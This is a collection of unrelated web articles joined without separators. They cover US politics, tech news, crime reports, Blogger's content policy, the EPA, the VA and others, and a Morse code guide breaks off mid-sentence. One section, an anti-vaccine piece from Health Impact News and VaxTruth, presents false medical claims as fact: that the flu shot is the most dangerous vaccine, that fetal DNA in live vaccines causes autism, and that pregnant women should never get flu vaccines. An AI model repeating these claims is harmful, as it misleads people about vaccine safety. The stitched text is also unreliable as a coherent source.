3) Sandy limits early voting, possibly hurting Obama’s chances. David Axelrod is already suggesting this could happen. Alec MacGillis wonders if this could make a split between the popular vote and the Electoral College more likely, by potentially depressing turnout in blue states. Perhaps some early voters who are stymied by Sandy would then fail to vote later on, including on Election Day.
I don’t think this is likely. What the literature on “convenience voting” suggests is that measures like vote-by-mail and early voting tend to make it easier for habitual voters to vote, rather than stimulating turnout from marginal or infrequent voters. See this piece by Adam Berinsky. I’ll quote from the summary on his webpage:
Reforms designed to make voting “easier” exacerbate the existing biases in the composition of the electorate by ensuring that those citizens who are most engaged with the political world continue to participate. That is, voting reforms encourages the retention of likely voters from election to election rather than encouraging new voters to enter the electorate.
So, for example, those Marylanders inconvenienced by the cancellation of early voting on Monday will likely show up at the polls anyway, especially since this is a presidential election.
I welcome other thoughts and especially citations to relevant research in comments.Are you a Gamer, Game developer or techie? Microsoft Nigeria is inviting you to its Tech and Gaming mixer at their Lagos office
Microsoft Nigeria is asking gamers, game developers, developers and technology enthusiasts to meet with product managers and engineers from its Redmond Headquarters. In an invitation to gamers to a mixer at their office in Lagos, Microsoft Nigeria’s developer experience teams says;
“Calling all gaming and technology enthusiasts! Microsoft would like to invite you to the Microsoft Tech Mixer in Lagos, Nigeria. Come join us for an evening of music, gaming, drinks, and bites, as we celebrate gaming and technology.
You will meet with some of the Engineers and Product Managers from Microsoft Corp HQ in Redmond responsible for building some of Microsoft biggest platforms such as Xbox Live, while networking with like minds and trying out some locally developed games.”
The event is scheduled for 14th November, 6pm – 9pm WAT. There isn’t much time and there aren’t many slots available so head off and Register. You don’t want to miss out on this.
I can’t say but hope the new Xbox one X will be a one to look forward to? Heading out to the event? Tell us what you think.
Like this: Like Loading...Roswell High School students proudly participated in The Leukemia & Lymphoma Society’s (LLS) Pennies for Patients program, one of LLS’s national School & Youth Programs, which raises money to find cures for leukemia, lymphoma and myeloma while providing information and support services to patients and their families.
Pennies for Patients teaches students caring, sharing, respect for others and the value of community service, in addition to supporting an important cause. The need for cures is critical: a little over one million Americans are battling blood cancers, and leukemia remains the leading cause of disease-related death among children under 20.
Roswell High School set a goal to fundraise $20,000 for their 2013 Pennies for Patients campaign, with the incentive of hosting a Hunger Games reenactment if they met the goal. They ended up raising an incredible $25,530 which is $10,000 more than what they raised last year. The National Honor Society is the group that runs the program for the school and is led by Ally Williams, the NHS Sponsor. The Hunger Games reenactment will be at Roswell High School on April 19th at 2:45pm.
During the reenactment, the school will “reap” 24 students (12 girls and 12 boys) and will conduct a procession onto the field. They will have a cornucopia from which the actors can choose items which might help them win, and then the games will begin. Teachers and faculty will be dressing up as the main characters and the school has been divided into the 12 districts. Each district will decorate their part of the school and prepare and dress their contestants accordingly. The school will be seated according to districts as well so they can hold signs and cheer on their contestants.
In 2011-2012, more than 700 Georgia schools raised a record $663,000, and joined 25,000 schools across the country in raising $21 million through School & Youth Programs. This school year we have 778 schools registered to take part in the campaign with a goal of raising over $700,000 for The Leukemia & Lymphoma Society.
“It was so inspiring to see the Roswell High School students volunteer and really care about helping others,” said Stuart Winborne, Georgia Chapter Sr. Campaign Manager. “It’s a program that is truly meaningful for them because leukemia is a disease that impacts children, and the students learn that they can really make a difference. We can’t wait to see the fun the students will enjoy with the Hunger Games reenactment.”
For information regarding local programs and services of the Georgia Chapter of The Leukemia & Lymphoma Society, call (404)-720-7843 or visit our Web site at www.LLS.org/ga.
About The Leukemia & Lymphoma Society:
The Leukemia & Lymphoma Society ® (LLS) is the world’s largest voluntary health agency dedicated to blood cancer. The LLS mission: Cure leukemia, lymphoma, Hodgkin’s disease and myeloma, and improve the quality of life of patients and their families. LLS funds lifesaving blood cancer research around the world and provides free information and support services.
The Georgia Chapter serves patients with a variety of programs including the Patti Robinson Kaufmann First Connection Program, The Trish Greene Back to School Program for Children with Cancer as well as financial assistance programs which last year provided $1.59 million to patients statewide. Currently, the Georgia Chapter funds $2.75 million towards research grants in multi-year agreements with Emory Winship Cancer Institute and Georgia Regents University. There were approximately 3,650 new diagnoses for blood cancer in Georgia in 2011. Visit www.lls.org/ga.Nearly 10 months ago, we reported that UC Browser is coming to Windows 10. After months of waiting, the browser is finally available from the Windows Store. The new UC Browser for Windows 10 is a full-featured browser with lots of features that seems like a pretty good alternative to Microsoft Edge. Unfortunately, the app is only available for PCs.
The browser has a minimalistic UI similar to Microsoft Edge that allows you to focus on the content. To make things even better, UC has included a tablet mode that adapts to the device you are using — for instance, if you are using the Surface Book with a keyboard and mouse, you will get the normal desktop UI but once you enable the tablet mode, you will get an improved UI that’s easy to interact with touch on a tablet.
Gallery
UC has also included some neat mouse gestures built in the app. The browser also includes a built-in password manager, voice search, support for Cloud Sync, and more:
Minimalist UI: Focus on the content.
Switch Between Tablet and Mouse/Keyboard Mode: If you are using a 2-in-1 computer like Surface Pro or Surface Book, it’s easy to switch the layout by turning on/off Tablet Mode.
Mouse Gesture: Right-click and move to go back, forward, reload page, etc.
Smart Address Bar(Omnibar): Just type one letter to get most relevant suggestion. You can also use it to find matching bookmarks and browsing history, or enter any words to launch search engine.
Tile-view Bookmarks: Colorful and touch-friendly design for bookmarks.
InPrivate Window: Don’t want to leave browsing trace on the device? Go for InPrivate Window.
Cloud Sync: Sync bookmarks between mobile/other PCs by logging in to UC browser.
New Tab: Metro-style Magnet for popular sites.
Password Manager: Store your login info of all kinds of websites and lock them with a PIN. Easy to retrieve and edit.
Voice Search: Tap the microphone icon and say the words. We will take care of the rest.
Tab Stack: Smart tab-stacking to locate the active tab in a glance when there are many tabs open.
Floating Navigator: Use the sphere to quickly search, go forward and back, and view all the tabs.
UC’s Windows 10 UWP app is currently rolling out, and you can get it here from the Windows Store — if it isn’t available for you yet, just check back in a few hours.ALIQUIPPA (KDKA) – A Beaver County woman is facing DUI charges and allegedly refused to put on pants following an accident.
According to a Beaver County Times report, the incident happened in the 1300-block of Main Street back on Sept. 30 in Aliquippa.
Police were initially called to the scene for an accident. When they arrived, the situation turned bizarre.
Justine King, 33, was still in her car when officers arrived. The airbags had deployed, but she was naked from the waist down. Her pants were found under the pedals.
Additionally, King was sitting on an empty bottle of alcohol.
Officers dragged King out of the car after she refused to put on her pants and exit the vehicle willingly.
Then, while sitting in the police cruiser, King kicked out the window frame.
She was taken to the Heritage Valley Beaver Hospital, where she refused to take a drug test. She also continued to refuse to put on her pants.
King is due in court for a preliminary hearing on Feb. 20. She is facing a list of charges including DUI, open lewdness and resisting arrest.
Join The Conversation On The KDKA Facebook Page
Stay Up To Date, Follow KDKA On TwitterGoogle will soon disappear blogs on its Blogger platform that don't conform to its new anti-adult policies.
Every Blogger user behind an "adult content warning" page was told Monday by Google to delete sexually explicit content, or find their blog removed from every form of access except registered users.
Until today, Google's Blogger platform previously allowed "images or videos that contain nudity or sexual activity," and stated that "Censoring this content is contrary to a service that bases itself on freedom of expression."
That changed on a whim Monday when Google ripped the rug out from under its previously-compliant Blogger users, who were told they'd be disappeared if Google decided their blogs contain "sexually explicit or graphic nude images or video."
Rather than leave its already-restricted adult content alone, Google has told Blogger users it will be eliminating all adult blogs from public access on March 23, 2015, (and taking them out of all forms of search).
Blogger blogs with adult content which -- at this time -- are findable in search will be deep-sixed from the Internet once the changes take effect.
There is a wide range of users on Blogger's fresh killing floor, most of whom routinely face sexual censorship. It's essential to understand that a good amount of those blogs have had the "adult" label applied to them by Blogger itself, deserved or not.
Currently, Blogger blogs marked as "adult" include LGBT and "outsider sexuality" diaries, erotic writers, transgender activists, romance book editors and reviewers, sex toy reviewers, art nude photographers, film-makers, artists such as painters and comic illustrators, text-only fiction writers, sex news and porn gossip writers, LGBT sex activism, sex education and information outlets, fetish fashion, feminist porn blogs, and much, much more.
Choice: Self-censor, or be 'disappeared'
The notice to all Blogger users marked as "adult" reads,
(...) In the coming weeks, we'll no longer allow blogs that contain sexually explicit or graphic nude images or video. We'll still allow nudity presented in artistic, educational, documentary, or scientific contexts, or presented where there are other substantial benefits to the public from not taking action on the content. The new policy will go into effect on the 23rd of March 2015. After this policy goes into effect, Google will restrict access to any blog identified as being in violation of our revised policy. No content will be deleted, but only blog authors and those with whom they have expressly shared the blog will be able to see the content we've made private.
Removal from search in every way possible, and access by personal invitation and registration only, is the absolute closest thing Google could do to deleting the blogs altogether -- without actually having to come under fire for removing a percentage of its Blogger user base.
This isn't about illegal content. Or that Christians don't recommend using Blogger (not because of porn, but because they can't trust Google, either). Nor is it about malware, the actual Blogger user community, or even protecting minors from porn -- something Google's Blogger warning already does.
Because determination falls on Google deciding "other substantial benefits to the public from not taking action on the content" this is about content Google simply does not like.
Adult content has historically been at the forefront of fighting for free speech and political dissent, and this won't be changing anytime soon.
And when this crucial element of free speech and expression is minimized or disappeared (and in some cases, removed or prohibited altogether) because the utility controlling the content -- in this case, Google -- simply doesn't like the topic, we find ourselves mired in a new, deeply insidious flavor of censorship.
Google harms the Internet: Broken links, traffic suppression
When Google forces its "unacceptable" Blogger blogs to go dark, it will break more of the Internet than you think. Countless links that have been accessible on Blogger since its inception in 1999 will be broken across the Internet.
For instance, with this new Blogger policy change, my personal blog (since 2001) will see over 500 blogspot.com links go dead.
After Google's change is implemented, there will be no way find and discover adult blogs on the Blogger platform.
The only way to find a post from a blog marked adult -- or to find a Blogger blog that falls outside Google's moving-target definition for acceptable nudes -- will be to receive an invitation directly from the Blogger user who writes the blog.
Even then, to read a post, the invited person will be required to use a Google account to identify themselves, register for a Google account, or opt to view it as a "guest."
Holy shit Google just dropped the hammer. pic.twitter.com/0FDQspR04n -- OJ (@tallglassofoj) February 23, 2015
Blogger blogs are already restricted for those who don't wish to see the content considered "adult" or sexual in nature, whether by local law, cultural or community standards, work restrictions, or personal choice.
Blogger's Content Warning, which is already applied to these blogs, pops up and requires agreement before proceeding, stating "The blog that you are about to view may contain content only suitable for adults. In general, Google does not review nor do we endorse the content of this or any blog". This is apparently no longer enough to satisfy Google's limits on acceptable use of speech and expression on its Blogger platform.
Google: Removing content it doesn't like
Tumblr attempted a similar move the following month (July 2013), and when Tumblr attempted to remove its adult blogs from every form of search and discovery possible, user (and observer) outcry prompted Yahoo's property to rethink its plans -- and come up with a less severe solution to increasing restrictions on its sex-positive userbase.
The last time Google moved to get the "adult" undesirables off its Blogger user base was June 2013, when Google gave "adult" users three days to remove anything Google considered adult advertising from their blogs, or face deletion.
Users then were furious, and confused by Google's vague wording, and scared that their links to racy Amazon affiliate products might get their blogs erased. Some opted to move to self-hosting, which is a safer option than trusting art, writing or creative speech to any conservative company.
Yet even then, we were inclined to think the adult ad purge was about neither adult themes (curtailing censorship or speech, simply because it's something Google or its controlling interests do not like) nor advertisement, but security issues with porn ads that contain malware.
With this move, Blogger -- Google -- isn't eliminating blogs that are raking in porn dough, or exposing innocents to objectionable content.
Google is removing sexual content because it doesn't like people posting it on Google's Internet.
Sexual and erotic expression is protected speech, and pornography is not illegal.
The search giant arguably controls the world's ability to find information online. comScore's March 2014 U.S. Search Engine Rankings show Google leading the core search market with 67.5 percent of all search queries conducted.
Google is a company, and may do as it pleases with its products.
But that maxim is a red herring when cultural shocks like domestic spying shine a light on the acute role Google embodies as a public utility, and our very real need for Google not to mess with open access to information, no matter if Google "likes" the content of that information or not.
Remember, Blogger's door started slamming shut on those deemed less deserving of its 'privilege' after Google walked through it.
ZDNet has contacted Google for comment and will update this article accordingly.
See also: Thanks for nothing, jerkfaceHealth Impact News Editor Comments
Dr. Oz spent considerable time covering the issue of thimerosal being used as a preservative in the annual flu vaccine. Thimerosal contains mercury, a well-known neuro-toxin. Dr. Oz interviewed Dr. Mark Hyman and Robert F. Kennedy, Jr. on his show to discuss mercury in vaccines.
While it is certainly worthwhile to warn the public of the dangers of mercury in the flu vaccine, Marcella Piper-Terry of VaxTruth.org points out several facts regarding this issue that were not covered during the show, and how Dr. Oz did not exactly get his facts straight on a few things.
Sadly, this is representative of the current level of knowledge concerning vaccines both among the mainstream media and modern-day physicians. Parents of vaccine-damaged children do their homework and research well, and in many cases are more educated on this issue than both the mass media and many doctors.
It should be noted that Dr. Oz is not anti-vaccine, and he apparently required both of his guests to state that they too believe in vaccines in order to be on the show. Dr. Oz would want everyone to get the flu shot from batches where mercury is not added.
We disagree. The flu shot is the most dangerous vaccine in the U.S. even without the added mercury, and the U.S. government pays out millions of dollars in injuries and deaths due to the flu shot every year. There is also very little evidence that the flu shot is beneficial in preventing the flu, and plenty of evidence that it can make it worse.
Dr. Oz Show: Thimerosal in Flu Shots – What He Got Wrong & What You NEED to Know!
by Marcella Piper-Terry
VaxTruth.org
On September 11, 2014, Dr. Oz’s guests included Robert F. Kennedy, Jr. and Dr. Mark Hyman and the topic of discussion was thimerosal in flu vaccines. It is great to see Dr. Oz expressing concerns about thimerosal, which is 49.5% mercury and is a potent neuro-immune toxin.
Dr. Oz advised his audience that pregnant women and parents of children should request thimerosal-free flu shots so they can avoid injecting mercury into their bodies.
You can view the video clips here (Part 1) and here (Part 2).
There is a recap here, which is pretty good. In short, all three men agreed thimerosal in vaccines is a very bad idea. All three agreed it should be removed completely, not only from vaccines, but from ALL medical products. Period.
While I appreciate the effort, there were several inaccuracies in the show, which need to be cleared up.
1. Contrary to the assertions of Oz, Hyman, and Kennedy, thimerosal has not been removed from childhood vaccinations; it’s still there. The FDA changed the rules so vaccine manufacturers do not have to include thimerosal on the label as an ingredient unless it is used as a preservative. According to the FDA, if thimerosal is used in the manufacturing process but it is not used as a preservative, the vaccine can be labeled “thimerosal-free” when that is not the case. You can read more about this semantic trickery and what it really means for your child here. The point is, several vaccines given to infants and children still contain thimerosal, including the DTaP vaccine, DT vaccine, Hib (ACTHib, TriHIBit) and Meningococcal vaccine. Click this link and scroll down in the vaccine excipients list until you get to thimerosal. (On your way to “thimerosal,” you might want to also notice all the other toxic ingredients and the vaccines that contain them.)
2. In addition to the problems with the FDA rule change, which allows vaccine-manufacturers to lie about the fact that their vaccines still contain thimerosal, Dr. Oz and his guests missed the fact that the meningococcal vaccine given to children age two years and older contains the same amount of thimerosal (50 mcg.) as the multi-dose flu shots they are so concerned about. Click this link and go to section 11, on page 17 of the Menomune manufacturer’s insert.
3. Another GLARING inaccuracy from Thursday’s Dr. Oz show was the graphic shown on the screen (See Part 1, at 2:30) stating that in 1999 thimerosal was taken out of the measles, mumps, and rubella vaccine. This was a face-palm moment. Really? Dr. OZ!!! You are the most trusted television doctor in the United States and people listen to you! It’s important for you to get your facts straight. This is VACCINE INFO 101: The MMR Vaccine (measles, mumps, rubella) does not now and NEVER HAS CONTAINED THIMEROSAL!!! The MMR is a live virus vaccine and thimerosal would kill the viruses. Got it? What MMR and other live virus vaccines like the chickenpox vaccine and the shingles vaccine DO CONTAIN is the DNA from aborted human fetal tissue. Independent laboratories (conducting research that is not funded by the makers of the vaccines) have found that these vaccines are associated with autism genes in the brain; particularly with those affecting the synapse (which is responsible for processing of information). Research indicates the “recombinant homologous DNA” from aborted fetuses (their cells are used to grow the live viruses) basically “recombines” with the DNA of the recipient child and this results in an autoimmune attack on specific brain proteins. This should be another face-palm moment. When you think about autoimmunity, what is it? In layman’s terms, “Autoimmunity is when the body gets confused about self and other, and it starts to attack its own tissues.” What better way to induce autoimmunity than to inject the DNA of another human being into your body? Click this link to read the study.
4. As noted above, Dr. Oz’s only concern about the flu vaccine appears to be that it contains thimerosal. He went on to advise pregnant women to ask for thimerosal-free vaccines. What he didn’t tell his audience is that The CDC’s advisory committee on immunization practices, or the ACIP’s recommendation for ANY flu vaccine in pregnancy was not supported by their own research. The research on administration of flu vaccine (with or without thimerosal) indicates that NO Flu vaccine should be given to pregnant women. Period. Click here to read the paper.
5. Thimerosal is a toxic metal. It has no place in vaccines injected into pregnant women, infants, and children. This was the sole focus of this limited discussion, which was full of inaccuracies and omissions. One important omission is this: Aluminum is a toxic metal which causes many of the same neurological and immunological damage as mercury. It has no place in vaccines injected into pregnant women, infants and children. Aluminum is present in MANY vaccines given to infants and children at levels greatly exceeding the FDA limits for other injectable medications. Click here to learn about aluminum and how to know how much is in vaccines given to your child.
Read the Full Article Here. Reprinted with permission
See Also:
Flu and Flu Vaccines:
What’s Coming Through That Needle – DVD
More Info
FREE Shipping Available!Learning and Using Morse Code
by
Bob Nellans, K9DE ex KB9DE ex WD9ABI
Copyright ©1998, Bob Nellans. All Rights Reserved
About the International Morse Code
Sending the Code
Copying the Code
Taking Code Tests
Speeds above 20 wpm
International Morse Code
The International Morse Code is made up of a series of what were incorrectly called dots and dashes, for many, many years. The problem with equating those symbols to and calling them dots and dashes is the fact that you do not actually send or receive those dots or dashes on the air, but rather the sound equivalency of dots, "dits", and dashes, "dahs". Actually the ending "t" or the "h" of those sounds is not included in the written representation of those sounds, unless it is the last dit or dah in that letter, number or punctuation. For instance, while the two simplest codes for letters are for the letter E which sounds like "dit" and the letter T which sounds like "dah", codes for more complex letters such as A are "didah" and I is "didit". Much more complex codes such as for C is "dadidadit", for Q is "dadadidah", for B is "dadididit", for Z is "dadadidit", for Y is "dadidadah", for the period is "didadidadidah", for the forward slash bar is "dadididadit", etc.
What is being sent, the dits and the dahs, are segments of a continuous tone, commonly called, Continuous Wave (CW), a term often used interchangeably with the International Morse Code. In the most pristine form of CW, a dit is one third as long as a dah. Variations from that norm are mentioned below.
Sending the code
The original code sending device was a simple make/break contact device, much like a telegraph key, which was/is commonly called a straight key. The operator would press down on the handle/knob of the device to close the contact point gap, hold the key down for the duration of the individual character element, be it a dit or a dah, and the operator would then release the pressure on the handle/knob of the key, so that the associated |
John, who works at the Philadelphia VA office, said he found the training session “condescending and patronizing” toward vets.
“What struck me at first was the choice of words — it talked about ‘managing’ and ‘dealing with’ widows and veterans,” Mr. DeJohn said in an interview. “You ‘deal with’ a cold or a flu. Where’s the respect, the simple human decency?”
A spokeswoman from the Philadelphia VA office said the agency regrets its actions.
“The training provided was not intended to equate veterans with this character,” spokeswoman Marisa Prugsawan said in a statement. “It was intended to remind our employees to conduct themselves as courteously and professionally as possible when dealing with veterans and their concerns.”
She said the guide apparently was an old internal document that employees used to prepare for last week’s training session. Ms. Prugsawan said she didn’t know if the original references comparing veterans to Oscar the Grouch had been created locally or by the national VA office.
Mr. DeJohn said staffers were told that the same information was being used by other VA offices at town-hall meetings around the country. He said the “tone deaf” nature of the slide show highlights the problem that too many VA managers are not veterans themselves.
“The underlying issue is most of the management of the VA are not veterans,” he said. “They don’t have a clue to understanding veterans. If you gave more veterans opportunities, you wouldn’t have this kind of embarrassing publicity.”
Mr. DeJohn said he was contacted by Allison Hickey, VA undersecretary for benefits, who promised she would look into the matter.
Veterans groups reacted with disgust to the Oscar the Grouch theme.
“There is no time or place to make light of the current crisis that the VA is in,” Joe Davis, a national spokesman for the VFW, told the Inquirer. “And especially to insult the VA’s primary customer.”
On Tuesday at the annual American Legion convention, Mr. Obama outlined more steps to improve veterans’ health-care services in the wake of complaints about chronic delays and phony wait lists. Mr. Obama told veterans that the measures were part of his commitment in “standing up for your rights and dignity.”
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.As President-elect Donald Trump's anti-science administration prepares to swoop into Washington, D.C., outgoing Department of Energy (DOE) Secretary Ernest Moniz on Wednesday announced a new "scientific integrity policy" meant to protect workers and policies that may be at risk.
According to Moniz, who announced the policy in a Medium post and at a National Press Club speech, the policy makes clear that:
Energy Department scientists are able to express their opinions;
Energy Department scientists must get the opportunity to review department statements about their work; and
Energy Department officials should not and will not ask scientists to tailor their work to particular conclusions.
"As a scientist and an American, I care deeply about scientific independence and integrity, because they are essential components of the scientific method," Moniz wrote. "Evidence, observation, experiment, and analysis are the appropriate ways to test a hypothesis."
The Verge reports that the policy "also requires the energy secretary—soon to be former Texas governor Rick Perry, who once said he wanted to shut down the department entirely—to appoint an ombudsman for scientific integrity." And the new standards, which apply to contractors as well as DOE employees, allow scientists to publicly state their opinions on science and policy, as long as they make clear that they are not speaking for the government.
Michael Halpern, deputy director at the Union of Concerned Scientists' Center for Science and Democracy, said the policy's "language is strong and precise, giving scientists and science advocates a solid platform to stand on in pushing back against the manipulation and suppression of science and the harassment of scientists."
The Verge reporter Angela Chen writes:
The Senate Energy Committee on Thursday set Perry's confirmation hearing for January 19.
SCROLL TO CONTINUE WITH CONTENT Help Keep Common Dreams Alive Our progressive news model only survives if those informed and inspired by this work support our efforts
Halpern suggested the committee "use the confirmation process to ensure [Perry] commits to following" the new policy. "Senators should prioritize asking Governor Perry for details on how he plans to implement the new scientific integrity standards," Halpern wrote. "And then they should hold him to those commitments through continued oversight."
He continued: "A few questions I'd ask Governor Perry: Are there any parts of the scientific integrity policy that he would change? What plans does he have to train DOE employees about how to use the new policy? Will he give the ombudsperson the authority to investigate allegations of political interference in science? What kind of public reporting will the department do?"
Outgoing President Barack Obama spoke to the importance of scientific integrity during his farewell address this week.
"Without some common baseline of facts," he said, "without a willingness to admit new information, and concede that your opponent might be making a fair point, and that science and reason matter...then we're going to keep talking past each other, and we'll make common ground and compromise impossible."Looking for news you can trust?
Subscribe to our free newsletters.
The Environmental Protection Agency made a huge step forward on Tuesday with the announcement of rules limiting greenhouse gas emissions from new power plants—the first rules for power plants, ever. The rules are the beginning of the end of conventional coal-fired power plants, and have been cheered by environmental and public health groups.
Here’s what the proposed rule states, from the National Journal:
The agency is proposing that new fossil-fuel power plants—namely those fired by coal and natural gas—emit no more than 1,000 pounds of carbon per megawatt-hour of energy produced. That’s about the same amount of carbon emissions produced by today’s natural gas-plants and about half the amount of produced by coal plants.
This basically means that going forward, anyone proposing new power plants has two options: build a natural-gas powered plant, or build a coal plant that has carbon-capture-and-sequestration (CCS) technology to significantly reduce the emissions from that plant.
The rules make it likely that there won’t be any new coal plants built in the US—or at least not anytime soon. While there are currently demonstration plants in the works that feature CCS technology, they aren’t to the scale of a new full-sized plant, nor are they cost effective. What’s more, plants powered by natural gas, which is pretty cheap at the moment, can meet the new, lower-emission requirements pretty easily.
But here’s why environmentalists aren’t celebrating quite as much as you’d think they would: The rule doesn’t apply to power plants that have already received permits to begin construction. Nor does it apply to plants that are already in operation—meaning that the approximately 300 older, dirtier coal plants that currently provide 39 percent of our energy will still be allowed to release CO2 unfettered. “We have no plans to address existing plants,” said EPA administrator Lisa Jackson. She noted that “in the future if we were to,” that would require an additional and thorough rule-making process.
Jackson noted that she believes coal “will remain an important part of America’s electricity generation mix for foreseeable future,” and that the rule “is meant to provide a path forward for those new coal-fired power plants that choose to minimize their carbon emissions.”
Even before the new rules, environmentalists and local activists had already stopped quite a few new coal-fired power plants. Since 2001, they’ve blocked the construction of 166 plants around the country. The EPA said that there are 15 plants currently pursuing permits that would not be impacted by the new rule. *
As the chart to the left shows, cutting emissions by only stopping new coal plants isn’t as effective at reducing US emissions as an economy-wide cap-and-trade law passed by Congress would have been, because in this scenario old plants are still emitting with abandon. But stopping plants—either by EPA action like today’s or by blocking them from being built—does eliminate a chunk of potential future emissions.
As one might imagine, the coal industry isn’t a big fan of the new rules. The National Mining Association told the New York Times that the rule is a “big mistake,” one “virtually calculated to drive coal, a very, very affordable generator of electricity, out of the US electricity.”
Here’s a map drawn from Sierra Club’s anti-coal campaign showing plants that have already been defeated around the country even before today’s new rule announcement, as well as those that are currently in the works:
Correction: An earlier version of this article incorrectly stated that the 15 plants would be impacted by the new rule, when in fact they will not. The sentence has been corrected.A waitress says she was fired from her job at Applebee’s after posting a note from a pastor who refused to tip, writing that “I give God 10% Why do you get 18.”
The waitress, who identified herself only as Chelsea, told The Consumerist that she originally posted the photo on the atheist section of social media website Reddit as a “lighthearted joke.”
“I thought the note was insulting, but it was also comical,” she explained. “I posted it to Reddit because I thought other users would find it entertaining.”
On the receipt she posted, Applebee’s computer system had added an automatic 18 percent gratuity because the dinner party had eight or more people. But the customer scratched out the $6.29 tip and wrote “0.” The receipt included a note about giving God 10 percent and a signature which indicated that the diner was a “pastor.”
“My mistake sir, I’m sure Jesus will pay for my rent and groceries,” Chelsea wrote on Reddit on Wednesday along with a photo of the receipt.
The waitress said that the she failed to redact the signature because she thought it was illegible, but Internet sleuths began using it to obtain the pastor’s identity.
“I had already started receiving messages containing Facebook profile links and blogs and websites, asking me to confirm the identity of the customer,” she recalled. “I refused to confirm any of them, and all of them were incorrect. I worked with the website moderators to remove any personal information. I wanted to protect the identity of both my fellow server and the customer. I had no intention of starting a witch hunt or hurting anyone — I just wanted to share a picture I found interesting.”
On Wednesday, the pastor reportedly contacted the Applebee’s location where she worked and demanded that everyone involved — including the managers — be fired.
“When I posted this, I didn’t represent Applebee’s in a bad light,” Chelsea explained. “In fact, I didn’t represent them at all. I did my best to protect the identity of all parties involved. I didn’t break any specific guidelines in the company handbook — I checked.”
“But because this person got embarrassed that their selfishness was made public, Applebee’s has made it clear that they would rather lose a dedicated employee than lose an angry customer. That’s a policy I can’t understand.”
She added that she was “utterly baffled” about why someone would connect Christian tithing to tips that wait staff rely on tips to pay their bills.
“I’ve been stiffed on tips before, but this is the first time I’ve seen the Big Man has been used as reasoning,” she said. “If this person wrote the note, obviously they wanted it seen by someone… It’s strange to me that now that the audience is wider than just the server, the person is now ashamed.”
READ MORE:
[Photo: Flickr/Roadsidepictures]Iran arming 'freedom armies': top commander Agence France-Presse
Published: Sunday October 26, 2008
Print This Email This TEHRAN (AFP) Iran is arming "freedom armies" in the Middle East, according to a top commander of the country's elite Revolutionary Guards quoted Sunday by a military website.
"Today, not only our armed forces are self sufficient but the freedom armies of the region get part of their weaponary from us," said Hossein Hamedani, deputy commander of Iran's volunteer Basij militia.
His comments appeared on the public relations website of the Revolutionary Guards, of which the Basij militia forms a part.
Like those of the Revolutionary Guards, commanders of the militia are appointed by the supreme leader Ayatollah Ali Khamenei.
Hamedani whose military rank was not provided, did not elaborate further on what he meant by "freedom armies."
But Iran has dubbed Palestinian groups such as the Islamist movement Hamas and the hardline Islamic Jihad as well as the Lebanese Shiite movement Hezbollah as "freedom armies" since all have vowed to fight Tehran's regional arch-foe, Israel.
Tehran has always maintained that its support to these groups is merely "moral" and that it does not provide them with any military means, despite claims to the contrary by Washington.
After Iraqi dictator Saddam Hussein was toppled in 2003, Shiite majority Iran has been accused by the US of providing arms to Shiite insurgents in Iraq, an allegation that has been denied by Tehran.Around the turn of the century, I was working weekends and summers at a Kmart to save money for college. One day I took a phone call from a woman who was trying to get a hold of another employee she'd spoken to earlier in the week. Her attempts to recall his name were not fruitful, so she took to describing him: "Tall... dark hair... um..." And finally, meekly: "... black..."
"Wait, black... hair?" I asked, equally tentatively.
"No. Black... skin."
Mind you, this was a Kmart in Ashwaubenon, Wisconsin, a Green Bay suburb that back then was about 95 percent white and less than 1 percent black. Green Bay itself was only slightly more diverse. That an employee was black was the single factor most likely to distinguish him from other workers. In fact, at the time we didn't have any black employees; it turned out she'd talked to someone at the other Kmart across town. And yet we were both very uncomfortable using race to solve the problem.
Research conducted this year shows that this reticence isn't rare at all. Scientists had a group of white adult volunteers play a game of Guess Who? -- where players start with a lineup of faces and try to find the correct one by asking yes/no questions -- with partners who were either white or black.
The lineup they were given was half-black and half-white, so asking about race was a great way to eliminate a lot of possibilities quickly. And yet 43 percent of the subjects failed to ask when the person answering the questions was white, and 79 percent didn't ask when the person was black. Perhaps because their discomfort showed, the whites who didn't ask about race were more likely to be seen as racist by outside observers (who for some reason were all white). Conducting the experiment with children revealed that this fear sets in around age 10.
There's a bad side and a good side to this. The bad side is obvious: Many white people are so scared of being seen as racist that they're not willing to talk about simple facts -- and, ironically, they end up being seen as racist as a result. Many whites' sensitivity to racism may have gone so far past the point of diminishing returns that it actively harms their relations with blacks. They place so much importance on demonstrating that black people don't make them nervous that black people make them nervous.
The flipside, though, is an important fact this experiment reveals about America: The campaign to stigmatize anti-black racism -- the most corrosive force in this country's history -- has been remarkably successful. In fact, while we love to talk about this or that as "the last acceptable prejudice," it would be more accurate to say that racism and sexism are the only prejudices that are thoroughly unacceptable. As this chart from Gallup shows, many Americans are willing to say they wouldn't support a Mormon, atheist, homosexual, or Muslim for president:
To be clear here: The 4 percent of Americans who still say they wouldn't vote for a black president constitute 1 in every 25 people, meaning that black people growing up today will still encounter proud racists. And further, to stigmatize racism is not to end it. People who would never, ever want to appear racist often nonetheless harbor subconscious biases or use race as a factor in employment decisions.
But still. Going from Jim Crow to white people who refuse to utter the words "Is the person black?" -- often categorically, but frequently in deference to a nearby person of color -- in 50 years is a remarkable accomplishment for the civil-rights movement, both as a social force and as a driver of government policy.
Robert VerBruggen is editor of RealClearPolicy. Twitter: @RAVerBruggenLeft Behind
They’re gone… they’re all gone. So what happened at the camp/settlement? Last we saw, Pendragon was being arrested but we didn’t see what happened after that. Jordana has no idea either, having left before any of that happened. Kema, Maddie and her Father are gone…and she has no idea whats happened to them.
And that’s it for issue 12! Vanguard issue 13 will start updating in January’17, but there’s several more sneaky bonus pages material I’ll be posting up during that time.
Again, I want to thank you all for reading and all your support. It’s very much appreciated.
If you’ve enjoyed the comic so far, I post upcoming designs and sketches over on my Patreon page. Soon I’ll be uploading the previous issues in PDF format onto there. So why not help the creation of VANGUARD and throw a few quid/bucks into the pot?
Dan
Please spare a moment to sling the comic a vote on TWC. It helps new readers find the comic – Thank you!
An upvote for this page on Reddit would be most appreciated. Thank you!A male victim was hit and a vehicle was reported speeding away in an overnight shooting near 13th and E Olive St early Sunday.
Police reported hearing gunfire from the area around 1:30 AM and arrived to find a male down with a gunshot wound to the neck, according to East Precinct radio dispatches.
UPDATE: A sergeant at the scene said the shooting appears to have involved a close “exchange” of gunfire and that a handgun was recovered from the victim. The officer said around five or six shots were fired.
The victim was reportedly with a group on the southwest corner of 13th and Olive when he was shot. Police were at the scene gathering shell casings and evidence at the corner.
A white SUV type vehicle was reported to have been seen leaving the area following the shooting.
The victim was transported to Harborview.
UPDATE 11:00 AM: SPD says the victim has life-threatening injuries:
